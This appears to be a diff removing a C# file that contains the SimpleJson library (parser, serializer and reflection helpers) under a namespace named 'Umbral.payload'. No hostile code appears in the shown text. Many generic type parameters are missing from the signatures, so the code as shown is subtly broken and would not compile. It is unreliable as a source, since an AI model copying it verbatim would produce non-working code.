return base.TrySetIndex(binder, indexes, value); - } - - /// - /// Provides the implementation for operations that set member values. Classes derived from the class can override this method to specify dynamic behavior for operations such as setting a value for a property. - /// - /// Provides information about the object that called the dynamic operation. The binder.Name property provides the name of the member to which the value is being assigned. For example, for the statement sampleObject.SampleProperty = "Test", where sampleObject is an instance of the class derived from the class, binder.Name returns "SampleProperty". The binder.IgnoreCase property specifies whether the member name is case-sensitive. - /// The value to set to the member. For example, for sampleObject.SampleProperty = "Test", where sampleObject is an instance of the class derived from the class, the is "Test". - /// - /// true if the operation is successful; otherwise, false. If this method returns false, the run-time binder of the language determines the behavior. (In most cases, a language-specific run-time exception is thrown.) - /// - public override bool TrySetMember(SetMemberBinder binder, object value) - { - // - if (binder == null) - throw new ArgumentNullException("binder"); - // - _members[binder.Name] = value; - return true; - } - - /// - /// Returns the enumeration of all dynamic member names. - /// - /// - /// A sequence that contains dynamic member names. - /// - public override IEnumerable GetDynamicMemberNames() - { - foreach (var key in Keys) - yield return key; - } -#endif - } -} - -namespace Umbral.payload -{ - /// - /// This class encodes and decodes JSON strings. - /// Spec. details, see http://www.json.org/ - /// JSON uses Arrays and Objects. These correspond here to the datatypes JsonArray(IList<object>) and - /// JsonObject(IDictionary<string,object>). - /// All numbers are parsed to doubles. - /// - [GeneratedCode("simple-json", "1.0.0")] -#if SIMPLE_JSON_INTERNAL - internal -#else - public -#endif - static class SimpleJson - { - private const int TOKEN_NONE = 0; - private const int TOKEN_CURLY_OPEN = 1; - private const int TOKEN_CURLY_CLOSE = 2; - private const int TOKEN_SQUARED_OPEN = 3; - private const int TOKEN_SQUARED_CLOSE = 4; - private const int TOKEN_COLON = 5; - private const int TOKEN_COMMA = 6; - private const int TOKEN_STRING = 7; - private const int TOKEN_NUMBER = 8; - private const int TOKEN_TRUE = 9; - private const int TOKEN_FALSE = 10; - private const int TOKEN_NULL = 11; - private const int BUILDER_CAPACITY = 2000; - - static private readonly char[] EscapeTable; - static private readonly char[] EscapeCharacters = { '"', '\\', '\b', '\f', '\n', '\r', '\t' }; - static private readonly string EscapeCharactersString = new string(EscapeCharacters); - - static SimpleJson() - { - EscapeTable = new char[93]; - EscapeTable['"'] = '"'; - EscapeTable['\\'] = '\\'; - EscapeTable['\b'] = 'b'; - EscapeTable['\f'] = 'f'; - EscapeTable['\n'] = 'n'; - EscapeTable['\r'] = 'r'; - EscapeTable['\t'] = 't'; - } - - /// - /// Parses the string json into a value - /// - /// A JSON string. - /// An IList<object>, a IDictionary<string,object>, a double, a string, null, true, or false - public static object DeserializeObject(string json) - { - object obj; - if (TryDeserializeObject(json, out obj)) - return obj; - throw new SerializationException("Invalid JSON string"); - } - - /// - /// Try parsing the json string into a value. - /// - /// - /// A JSON string. - /// - /// - /// The object. - /// - /// - /// Returns true if successfull otherwise false. - /// - [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] - public static bool TryDeserializeObject(string json, out object obj) - { - bool success = true; - if (json != null) - { - char[] charArray = json.ToCharArray(); - int index = 0; - obj = ParseValue(charArray, ref index, ref success); - } - else - obj = null; - - return success; - } - - public static object DeserializeObject(string json, Type type, IJsonSerializerStrategy jsonSerializerStrategy) - { - object jsonObject = DeserializeObject(json); - return type == null || jsonObject != null && ReflectionUtils.IsAssignableFrom(jsonObject.GetType(), type) - ? jsonObject - : (jsonSerializerStrategy ?? CurrentJsonSerializerStrategy).DeserializeObject(jsonObject, type); - } - - public static object DeserializeObject(string json, Type type) - { - return DeserializeObject(json, type, null); - } - - public static T DeserializeObject(string json, IJsonSerializerStrategy jsonSerializerStrategy) - { - return (T)DeserializeObject(json, typeof(T), jsonSerializerStrategy); - } - - public static T DeserializeObject(string json) - { - return (T)DeserializeObject(json, typeof(T), null); - } - - /// - /// Converts a IDictionary<string,object> / IList<object> object into a JSON string - /// - /// A IDictionary<string,object> / IList<object> - /// Serializer strategy to use - /// A JSON encoded string, or null if object 'json' is not serializable - public static string SerializeObject(object json, IJsonSerializerStrategy jsonSerializerStrategy) - { - StringBuilder builder = new StringBuilder(BUILDER_CAPACITY); - bool success = SerializeValue(jsonSerializerStrategy, json, builder); - return success ? builder.ToString() : null; - } - - public static string SerializeObject(object json) - { - return SerializeObject(json, CurrentJsonSerializerStrategy); - } - - public static string EscapeToJavascriptString(string jsonString) - { - if (string.IsNullOrEmpty(jsonString)) - return jsonString; - - StringBuilder sb = new StringBuilder(); - char c; - - for (int i = 0; i < jsonString.Length;) - { - c = jsonString[i++]; - - if (c == '\\') - { - int remainingLength = jsonString.Length - i; - if (remainingLength >= 2) - { - char lookahead = jsonString[i]; - if (lookahead == '\\') - { - sb.Append('\\'); - ++i; - } - else if (lookahead == '"') - { - sb.Append("\""); - ++i; - } - else if (lookahead == 't') - { - sb.Append('\t'); - ++i; - } - else if (lookahead == 'b') - { - sb.Append('\b'); - ++i; - } - else if (lookahead == 'n') - { - sb.Append('\n'); - ++i; - } - else if (lookahead == 'r') - { - sb.Append('\r'); - ++i; - } - } - } - else - { - sb.Append(c); - } - } - - return sb.ToString(); - } - - static private IDictionary ParseObject(char[] json, ref int index, ref bool success) - { - IDictionary table = new JsonObject(); - int token; - - // { - NextToken(json, ref index); - - bool done = false; - while (!done) - { - token = LookAhead(json, index); - if (token == TOKEN_NONE) - { - success = false; - return null; - } - - if (token == TOKEN_COMMA) - NextToken(json, ref index); - else if (token == TOKEN_CURLY_CLOSE) - { - NextToken(json, ref index); - return table; - } - else - { - // name - string name = ParseString(json, ref index, ref success); - if (!success) - { - success = false; - return null; - } - - // : - token = NextToken(json, ref index); - if (token != TOKEN_COLON) - { - success = false; - return null; - } - - // value - object value = ParseValue(json, ref index, ref success); - if (!success) - { - success = false; - return null; - } - - table[name] = value; - } - } - - return table; - } - - static private JsonArray ParseArray(char[] json, ref int index, ref bool success) - { - JsonArray array = new JsonArray(); - - // [ - NextToken(json, ref index); - - bool done = false; - while (!done) - { - int token = LookAhead(json, index); - if (token == TOKEN_NONE) - { - success = false; - return null; - } - - if (token == TOKEN_COMMA) - NextToken(json, ref index); - else if (token == TOKEN_SQUARED_CLOSE) - { - NextToken(json, ref index); - break; - } - else - { - object value = ParseValue(json, ref index, ref success); - if (!success) - return null; - array.Add(value); - } - } - - return array; - } - - static private object ParseValue(char[] json, ref int index, ref bool success) - { - switch (LookAhead(json, index)) - { - case TOKEN_STRING: - return ParseString(json, ref index, ref success); - case TOKEN_NUMBER: - return ParseNumber(json, ref index, ref success); - case TOKEN_CURLY_OPEN: - return ParseObject(json, ref index, ref success); - case TOKEN_SQUARED_OPEN: - return ParseArray(json, ref index, ref success); - case TOKEN_TRUE: - NextToken(json, ref index); - return true; - case TOKEN_FALSE: - NextToken(json, ref index); - return false; - case TOKEN_NULL: - NextToken(json, ref index); - return null; - case TOKEN_NONE: - break; - } - - success = false; - return null; - } - - static private string ParseString(char[] json, ref int index, ref bool success) - { - StringBuilder s = new StringBuilder(BUILDER_CAPACITY); - char c; - - EatWhitespace(json, ref index); - - // " - c = json[index++]; - bool complete = false; - while (!complete) - { - if (index == json.Length) - break; - - c = json[index++]; - if (c == '"') - { - complete = true; - break; - } - - if (c == '\\') - { - if (index == json.Length) - break; - c = json[index++]; - if (c == '"') - s.Append('"'); - else if (c == '\\') - s.Append('\\'); - else if (c == '/') - s.Append('/'); - else if (c == 'b') - s.Append('\b'); - else if (c == 'f') - s.Append('\f'); - else if (c == 'n') - s.Append('\n'); - else if (c == 'r') - s.Append('\r'); - else if (c == 't') - s.Append('\t'); - else if (c == 'u') - { - int remainingLength = json.Length - index; - if (remainingLength >= 4) - { - // parse the 32 bit hex into an integer codepoint - uint codePoint; - if (!(success = uint.TryParse(new string(json, index, 4), NumberStyles.HexNumber, CultureInfo.InvariantCulture, out codePoint))) - return ""; - - // convert the integer codepoint to a unicode char and add to string - if (0xD800 <= codePoint && codePoint <= 0xDBFF) // if high surrogate - { - index += 4; // skip 4 chars - remainingLength = json.Length - index; - if (remainingLength >= 6) - { - uint lowCodePoint; - if (new string(json, index, 2) == "\\u" && uint.TryParse(new string(json, index + 2, 4), NumberStyles.HexNumber, CultureInfo.InvariantCulture, out lowCodePoint)) - { - if (0xDC00 <= lowCodePoint && lowCodePoint <= 0xDFFF) // if low surrogate - { - s.Append((char)codePoint); - s.Append((char)lowCodePoint); - index += 6; // skip 6 chars - continue; - } - } - } - - success = false; // invalid surrogate pair - return ""; - } - - s.Append(ConvertFromUtf32((int)codePoint)); - // skip 4 chars - index += 4; - } - else - break; - } - } - else - s.Append(c); - } - - if (!complete) - { - success = false; - return null; - } - - return s.ToString(); - } - - static private string ConvertFromUtf32(int utf32) - { - // http://www.java2s.com/Open-Source/CSharp/2.6.4-mono-.net-core/System/System/Char.cs.htm - if (utf32 < 0 || utf32 > 0x10FFFF) - throw new ArgumentOutOfRangeException("utf32", "The argument must be from 0 to 0x10FFFF."); - if (0xD800 <= utf32 && utf32 <= 0xDFFF) - throw new ArgumentOutOfRangeException("utf32", "The argument must not be in surrogate pair range."); - if (utf32 < 0x10000) - return new string((char)utf32, 1); - utf32 -= 0x10000; - return new string(new char[] { (char)((utf32 >> 10) + 0xD800), (char)(utf32 % 0x0400 + 0xDC00) }); - } - - static private object ParseNumber(char[] json, ref int index, ref bool success) - { - EatWhitespace(json, ref index); - int lastIndex = GetLastIndexOfNumber(json, index); - int charLength = lastIndex - index + 1; - object returnNumber; - string str = new string(json, index, charLength); - if (str.IndexOf(".", StringComparison.OrdinalIgnoreCase) != -1 || str.IndexOf("e", StringComparison.OrdinalIgnoreCase) != -1) - { - double number; - success = double.TryParse(new string(json, index, charLength), NumberStyles.Any, CultureInfo.InvariantCulture, out number); - returnNumber = number; - } - else - { - long number; - success = long.TryParse(new string(json, index, charLength), NumberStyles.Any, CultureInfo.InvariantCulture, out number); - returnNumber = number; - } - - index = lastIndex + 1; - return returnNumber; - } - - static private int GetLastIndexOfNumber(char[] json, int index) - { - int lastIndex; - for (lastIndex = index; lastIndex < json.Length; lastIndex++) - if ("0123456789+-.eE".IndexOf(json[lastIndex]) == -1) - break; - return lastIndex - 1; - } - - static private void EatWhitespace(char[] json, ref int index) - { - for (; index < json.Length; index++) - if (" \t\n\r\b\f".IndexOf(json[index]) == -1) - break; - } - - static private int LookAhead(char[] json, int index) - { - int saveIndex = index; - return NextToken(json, ref saveIndex); - } - - [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] - static private int NextToken(char[] json, ref int index) - { - EatWhitespace(json, ref index); - if (index == json.Length) - return TOKEN_NONE; - char c = json[index]; - index++; - switch (c) - { - case '{': - return TOKEN_CURLY_OPEN; - case '}': - return TOKEN_CURLY_CLOSE; - case '[': - return TOKEN_SQUARED_OPEN; - case ']': - return TOKEN_SQUARED_CLOSE; - case ',': - return TOKEN_COMMA; - case '"': - return TOKEN_STRING; - case '0': - case '1': - case '2': - case '3': - case '4': - case '5': - case '6': - case '7': - case '8': - case '9': - case '-': - return TOKEN_NUMBER; - case ':': - return TOKEN_COLON; - } - - index--; - int remainingLength = json.Length - index; - // false - if (remainingLength >= 5) - { - if (json[index] == 'f' && json[index + 1] == 'a' && json[index + 2] == 'l' && json[index + 3] == 's' && json[index + 4] == 'e') - { - index += 5; - return TOKEN_FALSE; - } - } - - // true - if (remainingLength >= 4) - { - if (json[index] == 't' && json[index + 1] == 'r' && json[index + 2] == 'u' && json[index + 3] == 'e') - { - index += 4; - return TOKEN_TRUE; - } - } - - // null - if (remainingLength >= 4) - { - if (json[index] == 'n' && json[index + 1] == 'u' && json[index + 2] == 'l' && json[index + 3] == 'l') - { - index += 4; - return TOKEN_NULL; - } - } - - return TOKEN_NONE; - } - - static private bool SerializeValue(IJsonSerializerStrategy jsonSerializerStrategy, object value, StringBuilder builder) - { - bool success = true; - string stringValue = value as string; - if (stringValue != null) - success = SerializeString(stringValue, builder); - else - { - var dict = value as IDictionary; - if (dict != null) - { - success = SerializeObject(jsonSerializerStrategy, dict.Keys, dict.Values, builder); - } - else - { - var stringDictionary = value as IDictionary; - if (stringDictionary != null) - { - success = SerializeObject(jsonSerializerStrategy, stringDictionary.Keys, stringDictionary.Values, builder); - } - else - { - IEnumerable enumerableValue = value as IEnumerable; - if (enumerableValue != null) - success = SerializeArray(jsonSerializerStrategy, enumerableValue, builder); - else if (IsNumeric(value)) - success = SerializeNumber(value, builder); - else if (value is bool) - builder.Append((bool)value ? "true" : "false"); - else if (value == null) - builder.Append("null"); - else - { - object serializedObject; - success = jsonSerializerStrategy.TrySerializeNonPrimitiveObject(value, out serializedObject); - if (success) - SerializeValue(jsonSerializerStrategy, serializedObject, builder); - } - } - } - } - - return success; - } - - static private bool SerializeObject(IJsonSerializerStrategy jsonSerializerStrategy, IEnumerable keys, IEnumerable values, StringBuilder builder) - { - builder.Append("{"); - IEnumerator ke = keys.GetEnumerator(); - IEnumerator ve = values.GetEnumerator(); - bool first = true; - while (ke.MoveNext() && ve.MoveNext()) - { - object key = ke.Current; - object value = ve.Current; - if (!first) - builder.Append(","); - string stringKey = key as string; - if (stringKey != null) - SerializeString(stringKey, builder); - else if (!SerializeValue(jsonSerializerStrategy, value, builder)) return false; - builder.Append(":"); - if (!SerializeValue(jsonSerializerStrategy, value, builder)) - return false; - first = false; - } - - builder.Append("}"); - return true; - } - - static private bool SerializeArray(IJsonSerializerStrategy jsonSerializerStrategy, IEnumerable anArray, StringBuilder builder) - { - builder.Append("["); - bool first = true; - foreach (object value in anArray) - { - if (!first) - builder.Append(","); - if (!SerializeValue(jsonSerializerStrategy, value, builder)) - return false; - first = false; - } - - builder.Append("]"); - return true; - } - - static private bool SerializeString(string aString, StringBuilder builder) - { - // Happy path if there's nothing to be escaped. IndexOfAny is highly optimized (and unmanaged) - if (aString.IndexOfAny(EscapeCharacters) == -1) - { - builder.Append('"'); - builder.Append(aString); - builder.Append('"'); - - return true; - } - - builder.Append('"'); - int safeCharacterCount = 0; - char[] charArray = aString.ToCharArray(); - - for (int i = 0; i < charArray.Length; i++) - { - char c = charArray[i]; - - // Non ascii characters are fine, buffer them up and send them to the builder - // in larger chunks if possible. The escape table is a 1:1 translation table - // with \0 [default(char)] denoting a safe character. - if (c >= EscapeTable.Length || EscapeTable[c] == default(char)) - { - safeCharacterCount++; - } - else - { - if (safeCharacterCount > 0) - { - builder.Append(charArray, i - safeCharacterCount, safeCharacterCount); - safeCharacterCount = 0; - } - - builder.Append('\\'); - builder.Append(EscapeTable[c]); - } - } - - if (safeCharacterCount > 0) - { - builder.Append(charArray, charArray.Length - safeCharacterCount, safeCharacterCount); - } - - builder.Append('"'); - return true; - } - - static private bool SerializeNumber(object number, StringBuilder builder) - { - if (number is long) - builder.Append(((long)number).ToString(CultureInfo.InvariantCulture)); - else if (number is ulong) - builder.Append(((ulong)number).ToString(CultureInfo.InvariantCulture)); - else if (number is int) - builder.Append(((int)number).ToString(CultureInfo.InvariantCulture)); - else if (number is uint) - builder.Append(((uint)number).ToString(CultureInfo.InvariantCulture)); - else if (number is decimal) - builder.Append(((decimal)number).ToString(CultureInfo.InvariantCulture)); - else if (number is float) - builder.Append(((float)number).ToString(CultureInfo.InvariantCulture)); - else - builder.Append(Convert.ToDouble(number, CultureInfo.InvariantCulture).ToString("r", CultureInfo.InvariantCulture)); - return true; - } - - /// - /// Determines if a given object is numeric in any way - /// (can be integer, double, null, etc). - /// - static private bool IsNumeric(object value) - { - if (value is sbyte) return true; - if (value is byte) return true; - if (value is short) return true; - if (value is ushort) return true; - if (value is int) return true; - if (value is uint) return true; - if (value is long) return true; - if (value is ulong) return true; - if (value is float) return true; - if (value is double) return true; - if (value is decimal) return true; - return false; - } - - static private IJsonSerializerStrategy _currentJsonSerializerStrategy; - public static IJsonSerializerStrategy CurrentJsonSerializerStrategy - { - get - { - return _currentJsonSerializerStrategy ?? - (_currentJsonSerializerStrategy = -#if SIMPLE_JSON_DATACONTRACT - DataContractJsonSerializerStrategy -#else - PocoJsonSerializerStrategy -#endif - ); - } - set { _currentJsonSerializerStrategy = value; } - } - - static private PocoJsonSerializerStrategy _pocoJsonSerializerStrategy; - [EditorBrowsable(EditorBrowsableState.Advanced)] - public static PocoJsonSerializerStrategy PocoJsonSerializerStrategy => _pocoJsonSerializerStrategy ?? (_pocoJsonSerializerStrategy = new PocoJsonSerializerStrategy()); - -#if SIMPLE_JSON_DATACONTRACT - private static DataContractJsonSerializerStrategy _dataContractJsonSerializerStrategy; - [System.ComponentModel.EditorBrowsable(EditorBrowsableState.Advanced)] - public static DataContractJsonSerializerStrategy DataContractJsonSerializerStrategy - { - get - { - return _dataContractJsonSerializerStrategy ?? (_dataContractJsonSerializerStrategy = new DataContractJsonSerializerStrategy()); - } - } - -#endif - } - - [GeneratedCode("simple-json", "1.0.0")] -#if SIMPLE_JSON_INTERNAL - internal -#else - public -#endif - interface IJsonSerializerStrategy - { - [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] - bool TrySerializeNonPrimitiveObject(object input, out object output); - - object DeserializeObject(object value, Type type); - } - - [GeneratedCode("simple-json", "1.0.0")] -#if SIMPLE_JSON_INTERNAL - internal -#else - public -#endif - class PocoJsonSerializerStrategy : IJsonSerializerStrategy - { - internal IDictionary ConstructorCache; - internal IDictionary> GetCache; - internal IDictionary>> SetCache; - - internal static readonly Type[] EmptyTypes = new Type[0]; - internal static readonly Type[] ArrayConstructorParameterTypes = { typeof(int) }; - - static private readonly string[] Iso8601Format = - { - @"yyyy-MM-dd\THH:mm:ss.FFFFFFF\Z", - @"yyyy-MM-dd\THH:mm:ss\Z", - @"yyyy-MM-dd\THH:mm:ssK" - }; - - public PocoJsonSerializerStrategy() - { - ConstructorCache = new ReflectionUtils.ThreadSafeDictionary(ContructorDelegateFactory); - GetCache = new ReflectionUtils.ThreadSafeDictionary>(GetterValueFactory); - SetCache = new ReflectionUtils.ThreadSafeDictionary>>(SetterValueFactory); - } - - protected virtual string MapClrMemberNameToJsonFieldName(string clrPropertyName) - { - return clrPropertyName; - } - - internal virtual ReflectionUtils.ConstructorDelegate ContructorDelegateFactory(Type key) - { - return ReflectionUtils.GetContructor(key, key.IsArray ? ArrayConstructorParameterTypes : EmptyTypes); - } - - internal virtual IDictionary GetterValueFactory(Type type) - { - IDictionary result = new Dictionary(); - foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) - { - if (propertyInfo.CanRead) - { - MethodInfo getMethod = ReflectionUtils.GetGetterMethodInfo(propertyInfo); - if (getMethod.IsStatic || !getMethod.IsPublic) - continue; - result[MapClrMemberNameToJsonFieldName(propertyInfo.Name)] = ReflectionUtils.GetGetMethod(propertyInfo); - } - } - - foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) - { - if (fieldInfo.IsStatic || !fieldInfo.IsPublic) - continue; - result[MapClrMemberNameToJsonFieldName(fieldInfo.Name)] = ReflectionUtils.GetGetMethod(fieldInfo); - } - - return result; - } - - internal virtual IDictionary> SetterValueFactory(Type type) - { - IDictionary> result = new Dictionary>(); - foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) - { - if (propertyInfo.CanWrite) - { - MethodInfo setMethod = ReflectionUtils.GetSetterMethodInfo(propertyInfo); - if (setMethod.IsStatic || !setMethod.IsPublic) - continue; - result[MapClrMemberNameToJsonFieldName(propertyInfo.Name)] = - new KeyValuePair(propertyInfo.PropertyType, ReflectionUtils.GetSetMethod(propertyInfo)); - } - } - - foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) - { - if (fieldInfo.IsInitOnly || fieldInfo.IsStatic || !fieldInfo.IsPublic) - continue; - result[MapClrMemberNameToJsonFieldName(fieldInfo.Name)] = new KeyValuePair(fieldInfo.FieldType, ReflectionUtils.GetSetMethod(fieldInfo)); - } - - return result; - } - - public virtual bool TrySerializeNonPrimitiveObject(object input, out object output) - { - return TrySerializeKnownTypes(input, out output) || TrySerializeUnknownTypes(input, out output); - } - - [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] - public virtual object DeserializeObject(object value, Type type) - { - if (type == null) throw new ArgumentNullException("type"); - string str = value as string; - - if (type == typeof(Guid) && string.IsNullOrEmpty(str)) - return default(Guid); - - if (value == null) - return null; - - object obj = null; - - if (str != null) - { - if (str.Length != 0) // We know it can't be null now. - { - if (type == typeof(DateTime) || ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(DateTime)) - return DateTime.ParseExact(str, Iso8601Format, CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal); - if (type == typeof(DateTimeOffset) || ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(DateTimeOffset)) - return DateTimeOffset.ParseExact(str, Iso8601Format, CultureInfo.InvariantCulture, DateTimeStyles.AssumeUniversal | DateTimeStyles.AdjustToUniversal); - if (type == typeof(Guid) || ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(Guid)) - return new Guid(str); - if (type == typeof(Uri)) - { - bool isValid = Uri.IsWellFormedUriString(str, UriKind.RelativeOrAbsolute); - - Uri result; - if (isValid && Uri.TryCreate(str, UriKind.RelativeOrAbsolute, out result)) - return result; - - return null; - } - - if (type == typeof(string)) - return str; - - return Convert.ChangeType(str, type, CultureInfo.InvariantCulture); - } - - if (type == typeof(Guid)) - obj = default(Guid); - else if (ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(Guid)) - obj = null; - else - obj = str; - // Empty string case - if (!ReflectionUtils.IsNullableType(type) && Nullable.GetUnderlyingType(type) == typeof(Guid)) - return str; - } - else if (value is bool) - return value; - - bool valueIsLong = value is long; - bool valueIsDouble = value is double; - if (valueIsLong && type == typeof(long) || valueIsDouble && type == typeof(double)) - return value; - if (valueIsDouble && type != typeof(double) || valueIsLong && type != typeof(long)) - { - obj = type == typeof(int) || type == typeof(long) || type == typeof(double) || type == typeof(float) || type == typeof(bool) || type == typeof(decimal) || type == typeof(byte) || - type == typeof(short) - ? Convert.ChangeType(value, type, CultureInfo.InvariantCulture) - : value; - } - else - { - var objects = value as IDictionary; - if (objects != null) - { - var jsonObject = objects; - - if (ReflectionUtils.IsTypeDictionary(type)) - { - // if dictionary then - var types = ReflectionUtils.GetGenericTypeArguments(type); - Type keyType = types[0]; - Type valueType = types[1]; - - Type genericType = typeof(Dictionary<,>).MakeGenericType(keyType, valueType); - - IDictionary dict = (IDictionary)ConstructorCache[genericType](); - - foreach (var kvp in jsonObject) - dict.Add(kvp.Key, DeserializeObject(kvp.Value, valueType)); - - obj = dict; - } - else - { - if (type == typeof(object)) - obj = value; - else - { - obj = ConstructorCache[type](); - foreach (var setter in SetCache[type]) - { - object jsonValue; - if (jsonObject.TryGetValue(setter.Key, out jsonValue)) - { - jsonValue = DeserializeObject(jsonValue, setter.Value.Key); - setter.Value.Value(obj, jsonValue); - } - } - } - } - } - else - { - var valueAsList = value as IList; - if (valueAsList != null) - { - var jsonObject = valueAsList; - IList list = null; - - if (type.IsArray) - { - list = (IList)ConstructorCache[type](jsonObject.Count); - int i = 0; - foreach (object o in jsonObject) - list[i++] = DeserializeObject(o, type.GetElementType()); - } - else if (ReflectionUtils.IsTypeGenericeCollectionInterface(type) || ReflectionUtils.IsAssignableFrom(typeof(IList), type)) - { - Type innerType = ReflectionUtils.GetGenericListElementType(type); - list = (IList)(ConstructorCache[type] ?? ConstructorCache[typeof(List<>).MakeGenericType(innerType)])(jsonObject.Count); - foreach (object o in jsonObject) - list.Add(DeserializeObject(o, innerType)); - } - - obj = list; - } - } - - return obj; - } - - if (ReflectionUtils.IsNullableType(type)) - return ReflectionUtils.ToNullableType(obj, type); - return obj; - } - - protected virtual object SerializeEnum(Enum p) - { - return Convert.ToDouble(p, CultureInfo.InvariantCulture); - } - - [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] - protected virtual bool TrySerializeKnownTypes(object input, out object output) - { - bool returnValue = true; - if (input is DateTime) - output = ((DateTime)input).ToUniversalTime().ToString(Iso8601Format[0], CultureInfo.InvariantCulture); - else if (input is DateTimeOffset) - output = ((DateTimeOffset)input).ToUniversalTime().ToString(Iso8601Format[0], CultureInfo.InvariantCulture); - else if (input is Guid) - output = ((Guid)input).ToString("D"); - else if (input is Uri) - output = input.ToString(); - else - { - Enum inputEnum = input as Enum; - if (inputEnum != null) - output = SerializeEnum(inputEnum); - else - { - returnValue = false; - output = null; - } - } - - return returnValue; - } - - [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] - protected virtual bool TrySerializeUnknownTypes(object input, out object output) - { - if (input == null) throw new ArgumentNullException("input"); - output = null; - Type type = input.GetType(); - if (type.FullName == null) - return false; - IDictionary obj = new JsonObject(); - var getters = GetCache[type]; - foreach (var getter in getters) - { - if (getter.Value != null) - obj.Add(MapClrMemberNameToJsonFieldName(getter.Key), getter.Value(input)); - } - - output = obj; - return true; - } - } - -#if SIMPLE_JSON_DATACONTRACT - [GeneratedCode("simple-json", "1.0.0")] -#if SIMPLE_JSON_INTERNAL - internal -#else - public -#endif - class DataContractJsonSerializerStrategy : PocoJsonSerializerStrategy - { - public DataContractJsonSerializerStrategy() - { - GetCache = new ReflectionUtils.ThreadSafeDictionary>(GetterValueFactory); - SetCache = new ReflectionUtils.ThreadSafeDictionary>>(SetterValueFactory); - } - - internal override IDictionary GetterValueFactory(Type type) - { - bool hasDataContract = ReflectionUtils.GetAttribute(type, typeof(DataContractAttribute)) != null; - if (!hasDataContract) - return base.GetterValueFactory(type); - string jsonKey; - IDictionary result = new Dictionary(); - foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) - { - if (propertyInfo.CanRead) - { - MethodInfo getMethod = ReflectionUtils.GetGetterMethodInfo(propertyInfo); - if (!getMethod.IsStatic && CanAdd(propertyInfo, out jsonKey)) - result[jsonKey] = ReflectionUtils.GetGetMethod(propertyInfo); - } - } - foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) - { - if (!fieldInfo.IsStatic && CanAdd(fieldInfo, out jsonKey)) - result[jsonKey] = ReflectionUtils.GetGetMethod(fieldInfo); - } - return result; - } - - internal override IDictionary> SetterValueFactory(Type type) - { - bool hasDataContract = ReflectionUtils.GetAttribute(type, typeof(DataContractAttribute)) != null; - if (!hasDataContract) - return base.SetterValueFactory(type); - string jsonKey; - IDictionary> result = new Dictionary>(); - foreach (PropertyInfo propertyInfo in ReflectionUtils.GetProperties(type)) - { - if (propertyInfo.CanWrite) - { - MethodInfo setMethod = ReflectionUtils.GetSetterMethodInfo(propertyInfo); - if (!setMethod.IsStatic && CanAdd(propertyInfo, out jsonKey)) - result[jsonKey] = new KeyValuePair(propertyInfo.PropertyType, ReflectionUtils.GetSetMethod(propertyInfo)); - } - } - foreach (FieldInfo fieldInfo in ReflectionUtils.GetFields(type)) - { - if (!fieldInfo.IsInitOnly && !fieldInfo.IsStatic && CanAdd(fieldInfo, out jsonKey)) - result[jsonKey] = new KeyValuePair(fieldInfo.FieldType, ReflectionUtils.GetSetMethod(fieldInfo)); - } - // todo implement sorting for DATACONTRACT. - return result; - } - - private static bool CanAdd(MemberInfo info, out string jsonKey) - { - jsonKey = null; - if (ReflectionUtils.GetAttribute(info, typeof(IgnoreDataMemberAttribute)) != null) - return false; - DataMemberAttribute dataMemberAttribute = (DataMemberAttribute)ReflectionUtils.GetAttribute(info, typeof(DataMemberAttribute)); - if (dataMemberAttribute == null) - return false; - jsonKey = string.IsNullOrEmpty(dataMemberAttribute.Name) ? info.Name : dataMemberAttribute.Name; - return true; - } - } - -#endif - - namespace Reflection - { - // This class is meant to be copied into other libraries. So we want to exclude it from Code Analysis rules - // that might be in place in the target project. - [GeneratedCode("reflection-utils", "1.0.0")] -#if SIMPLE_JSON_REFLECTION_UTILS_PUBLIC - public -#else - internal -#endif - class ReflectionUtils - { - static private readonly object[] EmptyObjects = { }; - - public delegate object GetDelegate(object source); - - public delegate void SetDelegate(object source, object value); - - public delegate object ConstructorDelegate(params object[] args); - - public delegate TValue ThreadSafeDictionaryValueFactory(TKey key); - -#if SIMPLE_JSON_TYPEINFO - public static TypeInfo GetTypeInfo(Type type) - { - return type.GetTypeInfo(); - } -#else - public static Type GetTypeInfo(Type type) - { - return type; - } -#endif - - public static Attribute GetAttribute(MemberInfo info, Type type) - { -#if SIMPLE_JSON_TYPEINFO - if (info == null || type == null || !info.IsDefined(type)) - return null; - return info.GetCustomAttribute(type); -#else - if (info == null || type == null || !Attribute.IsDefined(info, type)) - return null; - return Attribute.GetCustomAttribute(info, type); -#endif - } - - public static Type GetGenericListElementType(Type type) - { - IEnumerable interfaces; -#if SIMPLE_JSON_TYPEINFO - interfaces = type.GetTypeInfo().ImplementedInterfaces; -#else - interfaces = type.GetInterfaces(); -#endif - foreach (Type implementedInterface in interfaces) - { - if (IsTypeGeneric(implementedInterface) && - implementedInterface.GetGenericTypeDefinition() == typeof(IList<>)) - { - return GetGenericTypeArguments(implementedInterface)[0]; - } - } - - return GetGenericTypeArguments(type)[0]; - } - - public static Attribute GetAttribute(Type objectType, Type attributeType) - { - -#if SIMPLE_JSON_TYPEINFO - if (objectType == null || attributeType == null || !objectType.GetTypeInfo().IsDefined(attributeType)) - return null; - return objectType.GetTypeInfo().GetCustomAttribute(attributeType); -#else - if (objectType == null || attributeType == null || !Attribute.IsDefined(objectType, attributeType)) - return null; - return Attribute.GetCustomAttribute(objectType, attributeType); -#endif - } - - public static Type[] GetGenericTypeArguments(Type type) - { -#if SIMPLE_JSON_TYPEINFO - return 